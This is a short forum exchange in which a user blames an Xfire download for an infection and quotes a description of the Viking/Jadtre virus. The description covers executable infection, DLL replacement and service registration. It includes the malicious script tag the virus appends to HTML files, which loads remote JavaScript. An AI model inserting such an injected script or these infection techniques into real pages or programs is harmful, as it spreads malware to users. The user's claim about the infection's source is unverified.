HyDroxYl said:
lol dude i have tested the official file with 4 different antiviruses and its safe. You may had had a virus before.
lol na i know when i download that god dam xfire and i no when my computer messed up so dont tell me i may of had a virus before this is what i had on my pc
Viking/Jadtre infects executable files by creating its own section and modifying the entry point so that the virus is executed first, allowing itself to spread. After that, the executable is run normally (except for when it is an installer, because some versions of Viking/Jadtre compromise installers).
Some versions of Viking/Jadtre also infect htmls by appending a malicious script:
<script language=javascriptsrc=http://www.ha[removed].com/js/w.js></script>
The virus deletes dlls from the system32 folder and copies itself in their place usingthe same name(ex.: appmgmts.dll, qmgr.dll, ntmssvc.dll) and sometimes creates a dll called dmutilio.dll. It also creates .sys files in system32 with random names and registers them as services
and it was on my pc since 31/10/2010 at 13:35 the date and time i downloaded the xfire